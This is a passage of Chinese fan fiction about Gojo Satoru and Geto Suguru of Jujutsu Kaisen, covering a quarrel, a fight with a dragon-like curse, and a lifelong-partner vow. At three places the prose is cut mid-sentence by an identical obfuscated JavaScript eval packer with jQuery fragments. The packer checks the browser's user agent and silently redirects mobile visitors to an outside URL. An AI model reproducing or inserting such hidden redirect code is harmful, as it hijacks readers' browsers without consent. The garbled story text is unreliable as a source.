原来不是中邪，其实是因为表白被拒产生了几分不自信的情绪，所以才想来他这边也刷一刷存在感吗？虽然他的反应没能让五条悟重拾自信，但此人看起来已经调理好了啊，真是轻浮的家伙…… 不过悟哪里来的表白对象？这家伙平常能见到的女孩子也就只有硝子和二年级的两个前辈……根本没看出苗头来啊。 难道是在网络上认识的吗？之前完全没听说过啊，果然就是这几天的事情吧。才认识多久就已经快进到表白被拒了，真是有够虚伪的网络情缘啊。 注意到夏油杰的目光，五条悟终于能回击了，哼道：“看什么看啦怪刘海，走了，早点解决早点回去咯。” 夏油杰垂了垂眼，不动声色地将表情调整至平静的状态，淡然地反击道：“也不必每句话都憋着要反驳回来吧，五条少爷？知道你已经气急败坏了，可别自己乱了阵脚。” 五条悟：“……” 他敏锐地从夏油杰淡淡的语气里听出了几分怜悯，登时感到一阵恶寒，反应到具体动作便是默不作声地立刻踩了夏油杰一脚。 当然，是没能踩到的，夏油杰躲得很快。虽说是自己嘲讽在先，但险些被踩的夏油杰势必要报复他，同样也踩了一脚回去，五条悟也闪开了。 两个男高中生互相踩脚很快就演变为了互相绊脚，你绊我我绊你，却又偏偏各人都有非常敏捷的身法，用尽全力也没有谁真的被绊倒，两道高大的身影歪歪扭扭地逐渐消失在了草木树影之间。 他们到底有没有和好？完全看不出来啊！一直目送着他们看得冷汗直冒的辅助监督擦了擦额头，迟疑地问：“……五条同学和夏油同学真的没关系吗？” “倒不如说遇到这种状态的他们的咒灵才比较惨呢。别担心啦熊井先生，他们很强的。”家入硝子看起来很淡定，顺手想把五条悟的手机装进包里，便感到这手机忽的震动了一下——竟然真的有短讯发过来了。 家入硝子翻盖一看，发来短讯的人备注是“A”，是个无论如何都会排在联系人最上方的备注。 既然五条悟都反复强调过了，她也没打算窥探对方的隐私，所以并没展开短讯，只是默默打开联系人列表浅浅看了一下，A是个陌生号码，排在第二位的“AAAAA”的号码才是夏油杰的。 真不愧是六眼哈。不仅会手动置顶，还一次置顶两个。 相对而言更加常识人的家入硝子嘴角抽了抽，“啪”一下盖上了手机屏幕，任凭它又震颤了好几下也没再重新打开，拒绝去思考其中的深意，帮着辅助监督放下了足以覆盖整个山体的“帐”。 …… “帐”落下来后，五条悟和夏油杰很默契地停了脚。 虽然“窗”给出的情报总有错漏，大多数时候都要靠咒术师随机应变，这次倒的确是直击老巢了，但坏处也很明显—— 他们来了那只高级咒灵的地盘，四处都是对方留下的痕迹，一时半会儿很难找到咒灵的具体位置，哪怕是“六眼”也会在这里受到些许干扰。 两人默默无语地对视了片刻，还是夏油杰没能忍住，指挥道：“分头行动吧，这座山的范围太大了。” 他们两个都是战斗起来动静很大的家伙，不用担心遭遇咒灵之后对方听不见错过支援机会。 五条悟问：“然后呢？” 夏油杰拧眉，困惑道：“……什么然后。” “杰又开始了。”五条悟冷静道，“你该不会觉得老子这是要把先前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156235|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情一笔勾销的意思吧？” 难道接受了妈妈的投喂，就代表着你原谅了和你吵架的妈妈吗？那可不一定吧！ 夏油杰：“……” 原来这篇居然还没翻过去吗？他还以为五条悟接过纸巾的时候就已经结束了！ 夏油杰无奈道：“我不明白悟到底想做什么……纠结这种事是有意义的吗？” 五条悟态度坚决：“理由。杰至少得给老子一个理由。我们是最好的挚友是杰先说的，那为什么加上‘一辈子’的限定词就什么都不可以？” 夏油杰被他噎了又噎，久违地产生了几分沟通无能的迷茫感，揉了揉眉心说：“因为很像flag吧。就我的经历而言，人的关系都是阶段性的，如果在中途产生了不可调和的分歧，就算是父母……咳，总之，‘一辈子’是绝对不可能实现的承诺。 就像悟小时候最喜欢的动画片，那个时候也觉得会喜欢一辈子吧？现在真的还记得到底是什么吗？所以干脆就不要说出来，万一日后到了会毁约的时候也不会太伤人。” 五条悟无比理直气壮地接话道：“老子现在也喜欢看数码宝贝啊！老子还有一柜子的手办，拍给你看过的！” 他才没那么轻易就能喜欢上什么东西，可不要小看了五条大人的深情程度口牙！ “那不也才六年前吗？”夏油杰顿时找到了反驳方向，“悟的‘一辈子’到现在为止也只坚持了区区六年，在一生没有结束之前，根本就不能保证自己会不会真的坚持下去！” 此人甚是会偷换概念，但五条悟根本不上当，思路相当清晰地辩驳道：“‘小时候最喜欢的动画片’是杰自己举的例子，老子已经自证成功自己现在也喜欢了。 按照杰的思路，杰现在也没办法证明老子做不到吧，那就让老子证明给你看啊！老子才不会毁约，可别再以己度人了骗子怪刘海！” 夏油杰情绪起来表情管理就容易破碎，怒目圆瞪额头青筋暴起：“什么以己度人，难道我就是会随便毁约的坏蛋吗？你完全就是污蔑、污蔑！” “是啊，你是不会毁约！”五条悟冷笑，阴阳怪气道，“根本就不会给出承诺的家伙当然永远都不可能毁约了！简直就像提前投降就不算输似的，世界上还有其他人像杰一样过分吗？” 这是一个非常浅薄的激将法……夏油杰看出来了，但此时此刻情绪都已经到这里了，他又装了好久的成熟体贴优等生，已然到达极限，便也顺势道：“谁说我不会做出承诺的，既然悟一定想要我说出口，那好啊——我们就当一辈子的搭档，日后毁约的家伙就得任对方处置！” 此狐慌不择路之下竟然给自己挖了一个大坑还顺势跳进去往身上撒了撒土。 五条悟势必不会错过机会，刚准备乘胜追击再要一些保障，如蛇般盘坐在近侧观察了他们好一会儿的龙型咒灵终于对这两个来它家里大吵大闹的人类失去了耐心，发出了一长声龙啸。 明明是龙型，却如蛇一般迅速窸窸窣窣地冲向了他们，似乎是打算直接用身体碾死胆大包天的人类们。 然而，它要面对的是当代最强的问题儿童×2。 无下限隔绝了龙型咒灵的继续突进，从来都是主动当ky的五条悟忍无可忍道：“可恶，咒灵都不会看气氛吗？！这种时候倒是别上来找死啊！” 5. 第 5 章 此龙敢凑上来ky，精准地打断了五条悟得寸进尺的时机，必定是有它的实力在的。 两个入侵它领地的人类让龙型咒灵无比震怒，可它毕竟智力已然开化，感受到无下限的阻碍之后便想要退走。 但夏油杰不是吃素的，早在它被牵制住时就横起一脚猛踢了过去——只听见“梆”的一声巨响，龙型咒灵连头都没扭一下，若无其事向后退去。 五条悟听得自己的脑袋都隐隐作痛，却看见那条龙毫发无损地溜走，震撼道：“喂喂杰，你没吃饭吗？！” 夏油杰甩了甩自己发麻的脚踝，心里也有点震撼，看见龙型咒灵咧开的嘴巴竟隐隐感到了几分被嘲讽，拧着眉头道：“悟，不要轻敌。这家伙不简单！” 幽暗的“帐”中，龙型咒灵金黄色的眼睛闪着相当不妙的光。尽管刚刚的攻击不成，但它退行了一定距离后仍然想要再尝试一遍。 “喔。”五条悟随口应了，不过大部分的祓除任务对他来说也就是一发“苍”的事，早在虹龙退后时便已经做好了手势，蓝色的光芒在他指尖一闪而过。 咒力凝聚起来的轰击直直攻向它的头部，却被这龙型咒灵轻飘飘一甩，砸到鳞片上再无声响，它的鳞片还是锃光瓦亮，连个划痕都没有留下。 龙张开嘴发出了诡异的噪声——现在两人都可以确定了，这家伙就是在嘲笑他们！ 五条悟这两天屡次遇到让他哑火的事件，此刻的心情相当奇异，微妙、惊讶、还带着些许无语。难得地有种全世界都在欺负他的错觉。 也许是语言攻击和“苍”的骚扰叠加了起来，五条悟在龙型咒灵那里的仇恨值更高。 它调整好姿势之后便又直愣愣地朝着五条悟冲了过去，巨大的身躯如山岳一般压了过来，再次决定挑战无下限术式的权威。 两人飞快对了个眼色分头闪避，夏油杰顺便招出几只咒灵尝试分担五条悟的压力，但与此同时嘴上又不忘给他上压力，微不可闻地笑了一声说：“你也没吃饱？” “轰——” 巨大的冲击力让整片山林都跟着震颤，碎木和尘土四处飞溅。五条悟虽然避开了正面冲击，却也被咒灵扬起来的气浪吹飞出去好几米，偏偏他听力又很好，还在咒灵砸下来之前听到了夏油杰说话，忍无可忍地被挚友烦得大叫：“杰——太记仇了吧！” 到底谁才是那个总憋着要把每句吵嘴都顶回来的家伙啊！ 龙型咒灵冲撞再次失败，花了好一会儿才重新调整身位瞄准他们。只是在发动攻击之前又被夏油杰那些蚊子似的四处分散着骚扰它的咒灵们吸引了注意力，非常不耐地拍打着尾巴，将几只凑上去的一尾巴扫开，虽然动作笨重，但破坏力极强，周围的树木和岩石纷纷崩裂。 夏油杰警惕地察觉到了内讧的前奏，一时间不想接茬，默默又拿了个新的咒灵出来挡住碎石。 五条悟借着龙型咒灵忙着拍蚊子没空理他的机会迅速地溜了过来，冷静地分享情报：“这家伙应该有术式，大概是特化防御之类的，所以我们两个都打不动它。不过应该是有弱点的……老子感觉是在身体内部哦。” “换个靠谱点的说法吧——嗯，经验。”夏油杰随口纠正。 五条悟的分析听起来很有道理，接下来就是实行了，用太弱的咒灵显得像是在给这条龙送菜，但太强的夏油杰又不太舍得。 他现在也就调伏了几百只咒灵，还有很大一部分是凑数的，毕竟强力的咒灵也不是随随便便就能诞生、他也不一定能接到那样的任务。 一个大胆的想法浮现在了夏油杰心头。 五条悟又嘀咕：“干嘛，杰连这都管？”他也知道现在的重点是干掉龙型咒灵，便又提出新的思路，“这种术式应该不能一直维持，就像无下限一样，总开着的话会把老子的脑袋烧掉的。虽然咒灵没有那种结构，大概率是燃烧咒力，但拖下去肯定是对我们有利的。” 夏油杰不动声色地把大胆的想法压下去了，任务之中还是求稳比较好，结果他才这么想，却听五条悟又说：“不过这种方案也有弊端。” “什么弊端？”夏油杰挑眉。 “老子会很不爽。”五条悟从来不爱打消耗战，那样对他的脑子和心情都不是很好。 夏油杰沉吟片刻，点头道：“那就不等了，来试试第一个方案吧。悟负责牵制。” 五条悟粲然一笑，声音变得非常甜蜜，冲他抛了个飞吻：“哎呀，就知道杰对老子最好了！么么！” 原本还在严肃地思考接下来行动的夏油杰：“……” 他现在情绪稍微有点零碎。 能不能禁止在战斗中突然给搭档搞节目的行为啊！ 本人也搞过不少但就是如此双标的夏油杰闭了闭眼，懒得再和他废话，下一刻便已经从掩体咒灵身后冲了出去。 更多的咒灵从忽然张开的裂口中爬出来，长条龙拍着拍着发现自己身周的蚊子越变越多，原本还在嘲笑“没用的”人类们，现在也隐隐有几分被激怒了。大吼一声一个扭身将咒灵们全部甩开，便迎面遭了一击“苍”，相对而言比较脆弱的面部被这样轰击，龙型咒灵吃痛，行动也变得更加凶猛，瞬间便腾空而起，向悬浮在半空中的五条悟咬去。 五条悟一惊，随即兴奋地笑道：“哇，原来你会飞啊！” 他正要和这条疯龙对上，但龙型咒灵却耍了个心眼，扭身一闪便同五条悟错开，真正的目标是限制了战场范围的“帐”！只要破开外部的限制，这些人类就再也抓不住它了！ 就在龙型咒灵要撞上“帐”时，它忽然感到身上一重，随即龙鬃被人狠狠向后一扯，冲撞的力道就小了许多，只在“帐”上撞出一个小小的缺口。 刺眼的阳光骤然自缺口处倾泻进来，揪住龙鬃的夏油杰不由得被晃了一下眼睛，再睁开眼时，被龙型咒灵骗了身位的五条悟已经重新回到了龙头上方的位置，脸上挂着大大的笑容，如果忽略他的动作的话，看起来甚至有点纯真。 “跑什么？还没完呢。”五条悟一脚重重踩上龙头。 阳光落在白色的龙鳞上却闪耀出了虹色的光泽，七彩的光晕也为五条悟镀了一层有些柔软的光圈，把他发尾照得有几分透明。 亮闪闪的、好漂亮……夏油杰很微妙地愣了片刻，顿了顿才揪着龙鬃向前移动。 龙型咒灵逃跑不成，反被这两人配合着重新按了下来，无比愤怒地发出一声怒吼。 夏油杰的停顿几乎只有瞬息的时间，但五条悟还是注意到了，莫名地瞥了他一眼，让开位置给夏油杰创造给龙型咒灵投喂的空间。 结果他再晃眼一看时，便见以为是去塞咒灵的男同学便动作十分潇洒地跳进了龙嘴里，六眼视角追着夏油杰的咒力成像一路顺滑地进入了巨龙的腹中。 五条悟：“……？” 龙型咒灵意识到有异物入口后便想吐出来，他们先前的猜想果然没错，外部防御超强的咒灵内里根本经不起摧折，虽然不是很懂，五条悟也只能配合着一发“苍”轰上了巨龙的上牙膛，将其想要呕吐的身躯又打得向上僵直。 五条悟大声问道：“杰！你还好吗——” 已经落入龙腹的夏油杰没法回答，龙型咒灵似乎感受到了巨大的痛苦，再也没有先前还有闲暇嘲笑人类的余裕，登时嚎叫着翻滚了起来。 “帐”原本就被它开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156236|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个小口摇摇欲坠，它这样狂翻乱滚，“帐”终究还是撑不住，就这么愉快地坏掉了，再也拦不住荒山上的恐怖震动。 地上完全站不了人了，五条悟只能又漂浮起来，靠着六眼的能力暂且能辨识到夏油杰的生命体征还相当稳定。 这家伙搞什么啊，早说要往龙嘴里跳，干嘛不能让他来？全世界最爱装酷的夏油同学又开始了！五条悟不禁腹诽。 大概十几秒过去，它终于身子一僵，停止了翻滚，五条悟远远地便看见一把亮闪闪的大剪刀冷酷地从自龙型咒灵的尸体里戳了出来，几阵刀光闪过，便将它的尸体从中刨开。 身形高大的头发乱蓬蓬的风衣“女人”率先钻了出来——是夏油杰为数不多的攻击力很强的一级咒灵，裂口女。 随即，夏油杰也搭着它的手钻了出来，浑身都糊满了不知名的黏糊糊液体，脸上有些淤青和擦伤，看起来不算严重，但十分狼狈，不过他却是带着笑意的，一颗黑漆漆的咒灵玉缓缓地在他另一只手上成型，龙型咒灵的尸体也随之消失了。 夏油杰把外套脱掉，用尚且还没完全被浸透的里侧擦了擦脸。再抬头就见五条悟降落下来，刚准备报喜咱们以后有龙玩了，就发现白发少年鬼鬼祟祟地凑上去，撑着下巴万分认真地盯了他半天。 夏油杰感到有点莫名：“……悟？怎么了吗？” 五条悟飞快地伸手，大拇指往他脸上一蹭，看了看自己蹭到的黏液，被电到了似的在自己外套上抹了，还要五官乱飞地怪叫道：“咦惹！黏糊糊的好恶心！杰酱、变成黏糊糊妖怪了！” 夏油杰：“……” 平心而论，夏油杰自己也带着点欠欠的特质在身上，可他只是在偶尔回想起来的时候会觉得自己当时是不是有点贱嗖嗖的，个人平常并不大会有意识地犯贱。 但是，五条悟、这个可恶的ky精，此人凑上来就是有意识地犯贱，简直就是小学里那种会特意扯自己喜欢的小女孩头发的烦人男孩！没品的东西！！ 夏油杰怒从心头起恶向胆边生，直接展开自己的外套向前一扑，把五条悟裹得结结实实，五条悟根本没防，扑通一下被他推倒在地，刚准备大叫，湿哒哒黏糊糊的夏油杰就压了上来，摁着他充分地把身上沾到的奇怪液体糊了他满身。 五条悟像是突然被摁住暴风狂搓了一顿的猫，眨了眨眼睛略感茫然。 夏油杰报复完才抬手将那颗已然沾满了奇怪液体的咒灵球捧到他面前，弯起眼睛说：“悟，我们以后有龙了。” “啊、嗯……”五条悟有点愣愣地点头，眨巴着眼睛看还趴在他胸口的夏油杰。 这家伙的头发已经完全散开，还沾着粘稠的液体，糊在一起，看着其实丑死了，但他看着这张笑眯眯的脸却莫名其妙地有点挪不开眼。 五条悟灵机一动便问：“杰刚刚在龙头上的时候为什么看老子？” 夏油杰还处于已经拿下漂亮的强力咒灵的喜悦中，脸上的笑容已经到了喜得贵龙幸福得有点迷幻的程度去了，还念念有词道： “悟，我跟你说，刚刚‘帐’被打破的时候，阳光落在龙鳞上看起来五颜六色的，亮闪闪的，好漂亮！我都给它取好名字了，就叫‘虹龙’……” 两人的声音交杂在了一起，夏油杰停顿了一下，似乎短暂地找回了理性，问：“悟刚刚说了什么？” 五条悟：“……” 五条悟倒不害怕自作多情，他自信得一匹，便诚实地说：“没事，我以为杰被本超级大帅哥迷住了。结果杰居然是被龙迷住了，切。” 居然是在看龙啊，可恶的宝可梦大师。 ……还以为是在看他呢，哈哈。 6. 第 6 章 “你这家伙……自恋死了！”夏油杰攘了他一下，很利落地翻起身来还拉了五条悟一把。 五条悟墨镜都被顶到脑袋上去了，抬手重新按回来，又将脸乱七八糟地擦了擦，在自己身上摸了摸才想起手机已经被他交给家入硝子代管，便又盯上了夏油杰的手机，自然而然地就伸手去掏他裤兜。 夏油杰往后仰了仰，“哎——” 他们之间本来就没有太大的矛盾，充其量也就是两人一时间的脑回路没对上，现在说开后瞬间就又冰释前嫌了…… 但五条悟转阶段的速度也太快了，夏油杰其实还有一点点尴尬呢。 五条悟把他的手机拿出来，试了试还能不能用后便默默调出录音界面，开启录音，随后直接把手机怼到了夏油杰面前，“来，杰，再说一遍。” 他可不接受任何糊弄，当然不可能让夏油杰只是气血上头就和他对赌的话说过就算。自认为是city boy的五条悟决定留下一点客观的证据。 夏油杰很快也明白他想录下来的是什么，嘴角抽了抽，无奈道：“不是吧，那么难为情的话，悟还要录下来吗？” 五条悟很淡定地催促道：“只是录音没有录像已经很照顾杰的心情了，快一点啦。” 他倒是不介意在手机里多留几张夏油杰的丑照啦，五条悟从来不害怕恶作剧把人搞急眼，甚至说——要是被恶作剧的家伙毫无反应，他才会觉得没意思。 只不过他现在略有点草木皆兵，比起看优等生跳脚，他现在更需要有力的证据，以防日后夏油杰脑门一拍就要跟他决裂，他还拿不出合适的理由去制裁这家伙。 夏油杰：“……” “咳咳。”已然后知后觉有点害羞的优等生欲盖弥彰地清了清嗓子。这时他竟然有点庆幸自己现在被迫形容狼狈的样子了，头发湿漉漉地贴在脸上，盖着耳朵，想必就算是无敌的六眼也没能看出来他面颊有点发烫。 五条悟以眼神示意鼓励他。 事已至此，话其实都已经说过了，现在不过只是再重复一遍……夏油杰破罐破摔了，深吸了一口气，重复之前却又微妙地带上了前提，谨慎得可怕，比起承诺更像是在催眠自己： “……其实我昨晚也想过了，悟会提出这样的要求并不过分。毕竟我们都是互相承认过的挚友，从一开始就立下永远在一起的决心也是很正常的。不过我之前又没有交过这样深的朋友，只在心里想想就好了，悟这样没头没尾的说出来当然是会吓到人的啊！怎么可能立刻就承认自己愿意啊！” 夏油同学一生要强，他可以很坦然地承认错误，但绝对不会承认自己做不到——尤其是在在诸多方面恐怕都被他当做了无常识笨蛋的五条悟面前，现在的表现绝对是史无前例的巨大进步。 事实证明，没事对着狐狸尾巴突兀地抓两把是很有效的。虽说会让狐狸在惊恐之下嗷嗷大叫，但事后狐狸就会吸取教训，至少明白什么是不能做的。 夏油杰说着说着竟然又有点气恼，飞速地开始翻旧账： “而且悟的态度也很过分吧？我昨晚可是想找你好好聊聊的，一上来就怼人算什么？我倒是也想很正式地说‘是啊我愿意和悟做一辈子的搭档’，但在那种气氛之下到底要怎么才能说出口来？所以，悟绝对、绝对也有错！” 五条悟指了指自己，惊诧道：“老子哪里有错？那个时候老子可是被杰挂了电话，还不能有脾气吗？” 夏油杰允许他有脾气，但自己的脾气也不小，正掰着手指头要细数五条悟的“罪名”，非常警觉的白发少年就迅速打断道：“说了这么多，杰还是没有正经地说出来吧！快点说啦——” “我刚刚说过——唉，算了。不就是再说一遍吗。”夏油杰疲惫地认命了，继续拖延下去也只不过是和五条悟继续以这种黏糊糊的姿态互相对峙罢了。 仿佛抛弃掉了什么的优等生上前一步，神色肃穆地同五条悟对视，无比郑重地说：“我，夏油杰，愿意和五条悟做一辈子的挚友兼搭档，绝对不会反悔的。如有背约，就由悟随意处置了。” 五条悟：“……” 其实五条悟也不是完全没有常识，一些微妙的良知变成光屁股小天使扇着翅膀告诉他其实到这里就应该差不多得了，只是很快就被理所应当的坏蛋恶魔一叉子戳走。 五条悟理直气壮地想，对啊，老子和杰就该做一辈子搭档的，从根源上杜绝某天莫名其妙发来的散伙短信完全正确。 静默片刻后，达成目的的大白猫欢呼一声扑了上去，一大条直接缠在了饲主身上，叫声中的喜悦几乎都要溢出去了：“就知道杰也超——喜欢老子！” 夏油杰一边惊叫着“哎我手机”，一边被他扑得往后撤了好几步才在及时赶来垫背的裂口女帮助下站稳，首先将一大条人接住了，随后脑子才开始处理刚刚听到的内容，本来做出如此难为情的承诺就有够害羞了，乍又想到还加上了“超——”限定的“喜欢”，顿觉脸颊温度又高了不少。 五条悟挂在夏油杰身上，也对着手机大声宣布道：“老子也要和杰一辈子都在一起玩，反悔的人是小狗！” 随后他迅速终止录音并将文件发送进了自己的邮箱，等到发件成功的标识弹出来，他才从夏油杰身上下来，很有礼貌地将手机重新塞回了挚友的裤兜里。 夏油杰已经麻了。 虽然猫掏你裤兜，但他至少把东西还回来了呀，总而言之就是——猫好。 五条悟喟叹道：“太好了，以后杰不会随随便便给老子发什么解散短信了……” 夏油杰揉了揉脸，无奈道：“悟在说什么啊？” 他根本也没发过啊。难道五条悟竟然还是个悲观主义者吗？因为之前在他这里碰了壁就擅自预设了更加严重的坏情况…… 五条悟本来想回答的，却突然听见“咔嚓”一声。 闪光灯一闪，甩掉辅助监督沿着被方才震动破坏得七零八落的山路好不容易爬上来的家入硝子举着手机面无表情地说：“好了，可以了，婚礼誓词说完了吧？现在新郎可以亲吻新娘了。” “啊。”五条悟眨巴眨巴眼睛，竟在这时想到了先前一直若隐若现的既视感从何而来——他可在电视上看到过的，西式婚礼的夫妻是得一本正经地宣誓。 不过宣誓这种事很常见的啦，挚友之间宣个誓怎么了？很正常的呀！他们咒术师的挚友一定就是这样子的，夏油杰都没提出反对意见了！ 此前已被挚友完全吸引了注意力的夏油杰此刻像被踩了尾巴似的蹦出了三尺远，“硝、硝子！你怎么自己上来了？很危险的！” 家入硝子耸了耸肩解释道：“啊，因为‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156237|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帐’突然破掉了，山上却还有很大的动静。熊井先生担心你们搞砸了，已经在祈祷天元大人保佑，所以我上来看看你们还有没有救……不过你们似乎也没受伤吧，收工收工~” 问题少女轻描淡写地将自己丢下辅助监督自主行动的事情盖了过去。 夏油杰被她一提醒，忽然捂住额头，身体晃了几晃，有气无力道：“……不对，我好像还是受伤了。脑袋好晕，该不会是脑震荡了吧？” 五条悟瞟他一眼就知道此人在唱哪出—— 虹龙引起的震动肯定能说成是突发地震之类的灾害糊弄过去，但夜蛾正道读他们的报告书，给帮他们复盘此次任务的过程时必然要教训一时大意差点让咒灵跑了的学生们，不受点伤很难逃得过去啊。 也不是什么好鸟的五条悟捂着肚子，突然虚弱道：“嗯嗯……刚刚好像被龙撞到了，好痛好痛，要死掉惹……” 家入硝子只在偶尔愿意配合男同学们无聊的把戏，可现在的当务之急显然是把他们带下去转移辅助监督的注意力让他忘记多余的报告。 于是此次在观看了男同学们的拙劣表演后，冷酷的女同学面无表情地说：“装得好假，特别是五条。” 五条悟撇撇嘴，“硝子好过分——” 家入硝子并不care笨蛋的指控，瞟着他们狼狈的样子略有点嫌弃地缩了缩脖子，随后转身一挥手道：“走了，再拖下去让熊井先生反应过来可就不妙咯。对了五条，真有人给你发短讯哦，好像还发了挺多条的，我没看，你现在方便吗？” 五条悟很不讲究地把自己的外套也解了，随手就在衬衫里擦了擦，几步上去跟上家入硝子，伸出双手道：“没问题哦，拿来吧。” 大多数时候，别人要找他都是直接打电话的，尤其喜欢发短讯的家伙……哼，先前就只有仪式感很足总喜欢留下记录的夏油杰，现在又多出另一个疑似搞笑艺人的平行世界杰。哦，甚至还在和自己的搭档闹分手。 五条悟超在意，非得立刻就看看那个笨蛋自“从来不觉得高兴”后究竟又发表了什么高论。 夏油杰无奈地跟上，吐槽道：“太着急了吧，悟。这样会显得你尤其在意对方哦？” 明明已经被拒绝到气得对着周围所有人喵喵大叫了，听到人家的消息就又眼巴巴地凑上去，实在太不值钱了…… 五条悟一边接手机一边扭头回他，“差不多就是那样吧，是最近比较在意——” 他话都还没说完，接过手机的瞬间便莫名地停顿住了，六眼顷刻间接收到了巨量的乱码信息，甚至已经到了超越六眼处理能力的范畴…… 在旁人看来，五条悟才碰到手机，就身子忽的一僵，随即非常干脆地闭上了眼嘎嘣一下往后倒，给在场的同学们投以了极大震撼。 还好夏油杰眼疾手快，往前跨步就一手拎起五条悟，另一手还不忘接住他无比在意的手机。 随后，完全不能理解发生了什么的夏油杰检查了一会儿人事不省的男同学，才带着三分迷茫七分惊恐的表情看向家入硝子，声音颤抖地说：“硝子，悟好像是真的晕了！他、他该不会是背着我受了什么不得了的伤吧？！硝子，救救！” 家入硝子：“……” 难道、难道是因为她说五条悟演得太假，所以这家伙就来真的了吗？！ 7. 第 7 章 五条悟醒来时脑袋还隐隐作痛。 像是被人当头敲了一闷棍，又在没打麻药的情况下生生把头盖骨掀开，随后乱七八糟地向其中填充巨量的无意义信息，做完这些暴行后还若无其事地把盖重新盖好，任凭莫名其妙遭遇这一切的受害者被脑内四处乱窜的信息撞得头晕脑胀再起不能。 锟斤拷烫烫烫not found404…… 什么玩意坏掉了？这才堪堪梳理明白的五条悟眼神死。 想必从出生开始就跟着他的六眼也没有想到过自己居然有一天要处理这种垃圾信息，竟然直接在那个瞬间□□死机了，而短时间内消耗过大的身体甚至没来得及通知他一声，很干脆地选择立刻进入休眠及时止损…… 五条悟咂了咂嘴，心道还好自己上山之前把手机给硝子保管了，不然要是在战斗中晕了麻烦可就大了。 也不知道那谁到底发表了什么惊世骇俗的言论，竟然让他在还没看见具体内容的情况下就晕倒了。 五条悟坐起身子来，看了一眼床边吊瓶里不剩多少的葡萄糖，很熟练地自己从床头柜里找了棉签出来，按着针口自己拔了吊针，随即开始满医务室地找自己的手机。 算着时间回来的夏油杰才打开门，就看见一个不久前低血糖晕倒了的患者小同学撅着屁股在床底下找东西。 不是很能理解的夏油杰看了一眼已经吊完了的葡萄糖，默了默才问：“悟在找什么？” 五条悟站起来揉了揉脑袋，问：“杰，老子的手机在你那里吗？” 夏油杰愣了一下，才摸摸自己的裤兜。他已经去换过衣服了，先前顺手就把五条悟的手机也放进自己兜里了……现在嘛，当然也没在自己身上。 “在寝室。悟还觉得不舒服吗？没问题的话我们就回去拿吧。”夏油杰抬了抬下巴，“顺便，悟还是先洗个澡吧。” 五条悟是径直被他抗来医务室的，衣服当然也没来得及换，甚至说先前头发上的粘液现在已经被自然风干，给他定出了个非常滑稽的发型，看起来就很会打牌…… 不过五条悟不太在乎，自己伸手乱又胡乱搓了一下，把本就不太妙的发型彻底搓成了鸟窝。 即便现在已经醒了，他还是觉得困困的，打了个哈欠随口抱怨道：“杰居然还自己先回去洗澡了，难道不该衣不解带地等在老子旁边吗？” 嘴上这么说，但他也知道夏油杰大概没走太久。 在这个天气下，对方的发尾居然还有几分潮湿，比起平常的状态，已经干掉的部分看起来也不那么柔顺，大概是在洗头的时候删掉了抹护发素的环节……这家伙还蛮着急的嘛！ “那有点太假了吧。”万不知道自己微妙的急切已然暴露的夏油杰很无语地翻了个白眼，“再说了，悟只是低血糖而已，才不是那种绝症的情况。” 五条悟突然一倒，把他和家入硝子都吓了一大跳，手忙脚乱地把失去意识的五条悟背下山，结果又让发现反转术使也偷溜走了正在吐魂的辅助监督险些魂飞魄散，一路油门轰回了高专。 最后多番检查下来，家入硝子沉默地确诊了五条悟只是低血糖，大概率是早饭还没消化就来战斗，消耗过大导致的。 对医生来说，这算是不幸中的万幸……家入硝子给他打了吊针，随后又被夏油杰拜托帮忙带点吃的。 女同学看他一时半会儿似乎不太想离开的样子，点点头叫上还没走的辅助监督去帮还要在后勤完全没重启的高专住两天的男同学带食物了。 “哦，低血糖啊……”五条悟愈发确认了自己先前的判断，但比起立刻跟夏油杰说明情况，他现在有更重要的话要说。 五条悟理直气壮道：“都怪杰今天早上没叫老子起床。” 要是夏油杰今天不闹脾气记得叫他起床，今天他的锅可就没地方推咯，嘿嘿。如果说堂堂六眼是被垃圾信息打晕了的话，那也太丢脸啦！ 夏油杰：“……” 夏油杰颇为恼怒，“我知道了，以后会记得的！但，就算我没有叫悟，悟也得自己起床吃东西吧？” 五条悟皱起鼻子，猛猛摇头，“不要不要不要不要——没有杰叫老子的话怎么可能起得来嘛！” 夏油杰很苦恼地抓了抓头发，最终还是觉得算了，五条悟现在看着太可怜了，让让他吧。 反正他们的时间还有很多，未成年的小鬼想那么多干什么，只要愉快地享受青春就好了呀。 “好了，别再甩脑袋。”夏油杰伸手也捻了捻他的头发，捻出来两个微妙的小尖之后停了手，打量了片刻才又rua回鸟窝状，转身道，“既然悟已经没事了，那我们走吧。” 离正式开学还有两天，拖延了快一个周的后勤终于在这时派出人手维修好了寝室的电路。 